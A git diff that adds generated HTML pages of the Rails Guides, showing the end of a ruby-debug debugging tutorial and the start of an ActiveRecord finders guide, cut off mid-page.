+<div class="para"><p>As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using <tt>next</tt> (you'll learn more about this command later in this guide).</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+ Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+ Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|</tt></pre>
+</div></div>
+<div class="para"><p>And then ask again for the instance_variables:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:11) instance_variables.include? "@posts"
+true</tt></pre>
+</div></div>
+<div class="para"><p>Now <tt>@posts</tt> is a included in the instance variables, because the line defining it was executed.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can also step into <strong>irb</strong> mode with the command <tt>irb</tt> (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.</td>
+</tr></table>
+</div>
+<div class="para"><p>The <tt>var</tt> method is the most convenient way to show variables and their values:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>var
+(rdb:1) v[ar] const <object> show constants of object
+(rdb:1) v[ar] g[lobal] show global variables
+(rdb:1) v[ar] i[nstance] <object> show instance variables of object
+(rdb:1) v[ar] l[ocal] show local variables</tt></pre>
+</div></div>
+<div class="para"><p>This is a great way to inspect the values of the current context variables. For example:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:9) var local
+ __dbg_verbose_save => false</tt></pre>
+</div></div>
+<div class="para"><p>You can also inspect for an object method this way:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:9) var instance Post.new
+@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+@attributes_cache = {}
+@new_record = true</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">The commands <tt>p</tt> (print) and <tt>pp</tt> (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.</td>
+</tr></table>
+</div>
+<div class="para"><p>You can use also <tt>display</tt> to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:1) display @recent_comments
+1: @recent_comments =</tt></pre>
+</div></div>
+<div class="para"><p>The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use <tt>undisplay <em>n</em></tt> where <em>n</em> is the variable number (1 in the last example).</p></div>
+<h3 id="_step_by_step">3.6. Step by Step</h3>
+<div class="para"><p>Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.</p></div>
+<div class="para"><p>Use <tt>step</tt> (abbreviated <tt>s</tt>) to continue running your program until the next logical stopping point and return control to ruby-debug.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can also use <tt>step+ <em>n</em></tt> and <tt>step- <em>n</em></tt> to move forward or backward <em>n</em> steps respectively.</td>
+</tr></table>
+</div>
+<div class="para"><p>You may also use <tt>next</tt> which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move <em>n</em> steps.</p></div>
+<div class="para"><p>The difference between <tt>next</tt> and <tt>step</tt> is that <tt>step</tt> stops at the next line of code executed, doing just a single step, while <tt>next</tt> moves to the next line without descending inside methods.</p></div>
+<div class="para"><p>For example, consider this block of code with an included <tt>debugger</tt> statement:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Author <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>editorial
+ has_many <span style="color: #990000">:</span>comments
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_recent_comments<span style="color: #990000">(</span>limit <span style="color: #990000">=</span> <span style="color: #993399">10</span><span style="color: #990000">)</span>
+ debugger
+ <span style="color: #009900">@recent_comments</span> <span style="color: #990000">||=</span> comments<span style="color: #990000">.</span>find<span style="color: #990000">(</span>
+ <span style="color: #990000">:</span>all<span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at > ?"</span><span style="color: #990000">,</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>week<span style="color: #990000">.</span>ago<span style="color: #990000">],</span>
+ <span style="color: #990000">:</span>limit <span style="color: #990000">=></span> limit
+ <span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can use ruby-debug while using script/console. Just remember to <tt>require "ruby-debug"</tt> before calling the <tt>debugger</tt> method.</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/PathTo/project $ script/console
+Loading development environment (Rails 2.1.0)
+>> require "ruby-debug"
+=> []
+>> author = Author.first
+=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
+>> author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)</tt></pre>
+</div></div>
+<div class="para"><p>With the code stopped, take a look around:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:1) list
+[6, 15] in /PathTo/project/app/models/author.rb
+ 6 debugger
+ 7 @recent_comments ||= comments.find(
+ 8 :all,
+ 9 :conditions => ["created_at > ?", 1.week.ago],
+ 10 :limit => limit
+=> 11 )
+ 12 end
+ 13 end</tt></pre>
+</div></div>
+<div class="para"><p>You are at the end of the line, but… was this line executed? You can inspect the instance variables.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:1) var instance
+@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+@attributes_cache = {}</tt></pre>
+</div></div>
+<div class="para"><p><tt>@recent_comments</tt> hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the <tt>next</tt> command to move on in the code:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+@recent_comments
+(rdb:1) var instance
+@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+@attributes_cache = {}
+@comments = []
+@recent_comments = []</tt></pre>
+</div></div>
+<div class="para"><p>Now you can see that the <tt>@comments</tt> relationship was loaded and @recent_comments defined because the line was executed.</p></div>
+<div class="para"><p>If you want to go deeper into the stack trace you can move single <tt>steps</tt>, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.</p></div>
+<h3 id="_breakpoints">3.7. Breakpoints</h3>
+<div class="para"><p>A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.</p></div>
+<div class="para"><p>You can add breakpoints dynamically with the command <tt>break</tt> (or just <tt>b</tt>). There are 3 possible ways of adding breakpoints manually:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>break line</tt>: set breakpoint in the <em>line</em> in the current source file.
+</p>
+</li>
+<li>
+<p>
+<tt>break file:line [if expression]</tt>: set breakpoint in the <em>line</em> number inside the <em>file</em>. If an <em>expression</em> is given it must evaluated to <em>true</em> to fire up the debugger.
+</p>
+</li>
+<li>
+<p>
+<tt>break class(.|#)method [if expression]</tt>: set breakpoint in <em>method</em> (. and # for class and instance method respectively) defined in <em>class</em>. The <em>expression</em> works the same way as with file:line.
+</p>
+</li>
+</ul></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10</tt></pre>
+</div></div>
+<div class="para"><p>Use <tt>info breakpoints <em>n</em></tt> or <tt>info break <em>n</em></tt> to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) info breakpoints
+Num Enb What
+ 1 y at filters.rb:10</tt></pre>
+</div></div>
+<div class="para"><p>To delete breakpoints: use the command <tt>delete <em>n</em></tt> to remove the breakpoint number <em>n</em>. If no number is specified, it deletes all breakpoints that are currently active..</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.</tt></pre>
+</div></div>
+<div class="para"><p>You can also enable or disable breakpoints:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>enable breakpoints</tt>: allow a list <em>breakpoints</em> or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+</p>
+</li>
+<li>
+<p>
+<tt>disable breakpoints</tt>: the <em>breakpoints</em> will have no effect on your program.
+</p>
+</li>
+</ul></div>
+<h3 id="_catching_exceptions">3.8. Catching Exceptions</h3>
+<div class="para"><p>The command <tt>catch exception-name</tt> (or just <tt>cat exception-name</tt>) can be used to intercept an exception of type <em>exception-name</em> when there would otherwise be is no handler for it.</p></div>
+<div class="para"><p>To list all active catchpoints use <tt>catch</tt>.</p></div>
+<h3 id="_resuming_execution">3.9. Resuming Execution</h3>
+<div class="para"><p>There are two ways to resume execution of an application that is stopped in the debugger:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>continue</tt> [line-specification] (or <tt>c</tt>): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+</p>
+</li>
+<li>
+<p>
+<tt>finish</tt> [frame-number] (or <tt>fin</tt>): execute until the selected stack frame returns. If no frame number is given, the application run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+</p>
+</li>
+</ul></div>
+<h3 id="_editing">3.10. Editing</h3>
+<div class="para"><p>Two commands allow you to open code from the debugger into an editor:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>edit [file:line]</tt>: edit <em>file</em> using the editor specified by the EDITOR environment variable. A specific <em>line</em> can also be given.
+</p>
+</li>
+<li>
+<p>
+<tt>tmate <em>n</em></tt> (abbreviated <tt>tm</tt>): open the current file in TextMate. It uses n-th frame if <em>n</em> is specified.
+</p>
+</li>
+</ul></div>
+<h3 id="_quitting">3.11. Quitting</h3>
+<div class="para"><p>To exit the debugger, use the <tt>quit</tt> command (abbreviated <tt>q</tt>), or its alias <tt>exit</tt>.</p></div>
+<div class="para"><p>A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.</p></div>
+<h3 id="_settings">3.12. Settings</h3>
+<div class="para"><p>There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>set reload</tt>: Reload source code when changed.
+</p>
+</li>
+<li>
+<p>
+<tt>set autolist</tt>: Execute <tt>list</tt> command on every breakpoint.
+</p>
+</li>
+<li>
+<p>
+<tt>set listsize <em>n</em></tt>: Set number of source lines to list by default to <em>n</em>.
+</p>
+</li>
+<li>
+<p>
+<tt>set forcestep</tt>: Make sure the <tt>next</tt> and <tt>step</tt> commands always move to a new line
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You can see the full list by using <tt>help set</tt>. Use <tt>help set <em>subcommand</em></tt> to learn about a particular <tt>set</tt> command.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can include any number of these configuration lines inside a <tt>.rdebugrc</tt> file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.</td>
+</tr></table>
+</div>
+<div class="para"><p>Here's a good start for an <tt>.rdebugrc</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>set autolist
+set forcestep
+set listsize 25
+</tt></pre></div></div>
+</div>
+<h2 id="_references">4. References</h2>
+<div class="sectionbody">
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://www.datanoise.com/ruby-debug">ruby-debug Homepage</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.sitepoint.com/article/debug-rails-app-ruby-debug/">Article: Debugging a Rails application with ruby-debug</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/">ruby-debug Basics screencast</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://railscasts.com/episodes/54-debugging-with-ruby-debug">Ryan Bate's ruby-debug screencast</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://railscasts.com/episodes/24-the-stack-trace">Ryan Bate's stack trace screencast</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://railscasts.com/episodes/56-the-logger">Ryan Bate's logger screencast</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://bashdb.sourceforge.net/ruby-debug.html">Debugging with ruby-debug</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://cheat.errtheblog.com/s/rdebug/">ruby-debug cheat sheet</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging">Ruby on Rails Wiki: How to Configure Logging</a>
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">5. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+October 19, 2008: Copy editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+September 16, 2008: initial version by <a href="../authors.html#miloops">Emilio Tagua</a>
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/finders.html b/railties/doc/guides/html/finders.html new file mode 100644 index 0000000000..75a922f397 --- /dev/null +++ b/railties/doc/guides/html/finders.html @@ -0,0 +1,901 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Rails Finders</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_in_the_beginning_8230">In the beginning…</a> + </li> + <li> + <a href="#_our_models">Our Models</a> + </li> + <li> + <a href="#_database_agnostic">Database Agnostic</a> + </li> + <li> + <a href="#_ids_first_last_and_all">IDs, First, Last and All</a> + </li> + <li> + <a href="#_conditions">Conditions</a> + </li> + <li> + <a href="#_ordering">Ordering</a> + </li> + <li> + <a href="#_selecting_certain_fields">Selecting Certain Fields</a> + </li> + <li> + <a href="#_limit_amp_offset">Limit & Offset</a> + </li> + <li> + <a href="#_group">Group</a> + </li> + <li> + <a href="#_read_only">Read Only</a> + </li> + <li> + <a href="#_lock">Lock</a> + </li> + <li> + <a href="#_making_it_all_work_together">Making It All Work Together</a> + </li> + <li> + <a href="#_eager_loading">Eager Loading</a> + </li> + <li> + <a href="#_dynamic_finders">Dynamic finders</a> + </li> + <li> + <a href="#_finding_by_sql">Finding By SQL</a> + </li> + <li> + <a href="#_working_with_associations">Working with Associations</a> + </li> + <li> + <a href="#_named_scopes">Named Scopes</a> + </li> + <li> + <a href="#_existance_of_objects">Existance of Objects</a> + </li> + <li> + <a href="#_calculations">Calculations</a> + <ul> + + <li><a href="#_count">Count</a></li> + + </ul> + </li> + <li> + <a href="#_with_scope">With Scope</a> + </li> + <li> + <a href="#_credits">Credits</a> + </li> + <li> + <a href="#_change_log">Change Log</a> + <ul> + + <li><a href="#_sunday_28_september_2008">Sunday, 28 September 2008</a></li> + + <li><a href="#_wednesday_01_october_2008">Wednesday, 01 October 2008</a></li> + + <li><a href="#_sunday_05_october_2008">Sunday, 05 October 2008</a></li> + + <li><a href="#_monday_06_october_2008">Monday, 06 October 2008</a></li> + + <li><a href="#_thursday_09_october_2008">Thursday, 09 October 2008</a></li> + + <li><a href="#_tuesday_21_october_2008">Tuesday, 21 October 2008</a></li> + + </ul> + </li> + </ol> + </div> + + <div id="content"> + <h1>Rails Finders</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide is all about the <tt>find</tt> method defined in ActiveRecord::Base, finding on associations, and associated goodness such as named scopes. You will learn how to be a find master.</p></div>
+</div>
+</div>
+<h2 id="_in_the_beginning_8230">1. In the beginning…</h2>
+<div class="sectionbody">
+<div class="para"><p>In the beginning there was SQL. SQL looked like this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients
+<span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> id <span style="color: #990000">=</span> <span style="color: #FF0000">'1'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">0</span><span style="color: #990000">,</span><span style="color: #993399">1</span>
+<span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">0</span><span style="color: #990000">,</span><span style="color: #993399">1</span>
+</tt></pre></div></div>
+<div class="para"><p>In Rails you don't usually have to type SQL (unlike other languages) because ActiveRecord is there to help you find your records.</p></div>
+</div>
+<h2 id="_our_models">2. Our Models</h2>
+<div class="sectionbody">
+<div class="para"><p>For this guide we have the following models:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>address
+ has_one <span style="color: #990000">:</span>mailing_address
+ has_many <span style="color: #990000">:</span>orders
+ has_and_belongs_to_many <span style="color: #990000">:</span>roles
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Address <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>client
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MailingAddress <span style="color: #990000"><</span> Address
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>client<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Role <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>clients
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_database_agnostic">3. Database Agnostic</h2>
+<div class="sectionbody">
+<div class="para"><p>ActiveRecord will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the ActiveRecord method format will always be the same.</p></div>
+</div>
+<h2 id="_ids_first_last_and_all">4. IDs, First, Last and All</h2>
+<div class="sectionbody">
+<div class="para"><p>ActiveRecord::Base has methods defined on it to make interacting with your database and the tables within it much, much easier: find. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type Client.find(1) which would execute this query on your database:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`clients`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">`clients`</span><span style="color: #990000">.</span><span style="color: #FF0000">`id`</span> <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span>
+NOTE<span style="color: #990000">:</span> Please be aware that because this <span style="font-weight: bold"><span style="color: #0000FF">is</span></span> a standard <span style="font-weight: bold"><span style="color: #0000FF">table</span></span> created <span style="font-weight: bold"><span style="color: #0000FF">from</span></span> a migration <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> Rails that the <span style="font-weight: bold"><span style="color: #0000FF">primary</span></span> <span style="font-weight: bold"><span style="color: #0000FF">key</span></span> <span style="font-weight: bold"><span style="color: #0000FF">is</span></span> defaulted <span style="font-weight: bold"><span style="color: #0000FF">to</span></span> <span style="color: #FF0000">'id'</span><span style="color: #990000">.</span> <span style="font-weight: bold"><span style="color: #0000FF">If</span></span> you have specified a different <span style="font-weight: bold"><span style="color: #0000FF">primary</span></span> <span style="font-weight: bold"><span style="color: #0000FF">key</span></span> <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> your migrations<span style="color: #990000">,</span> this <span style="font-weight: bold"><span style="color: #0000FF">is</span></span> what Rails will find <span style="font-weight: bold"><span style="color: #0000FF">on</span></span> when you call the find method<span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">not</span></span> the id <span style="font-weight: bold"><span style="color: #0000FF">column</span></span><span style="color: #990000">.</span>
+</tt></pre></div></div>
+<div class="para"><p>If you wanted to find clients with id 1 or 2, you call <tt>Client.find([1,2])</tt> or <tt>Client.find(1,2)</tt> and then this will be executed as:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`clients`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">`clients`</span><span style="color: #990000">.</span><span style="color: #FF0000">`id`</span> <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">))</span>
+<span style="color: #990000">[</span>source<span style="color: #990000">,</span>txt<span style="color: #990000">]</span>
+<span style="color: #990000">>></span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">)</span>
+<span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="font-style: italic"><span style="color: #9A1900">#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Note that if you pass in a list of numbers that the result will be returned as an array, not an object of Client.</p></div>
+<div class="para"><p>If you wanted to find the first client you would simply type <tt>Client.find(:first)</tt> and that would find the first client created in your clients table:</p></div>
+<div class="exampleblock">
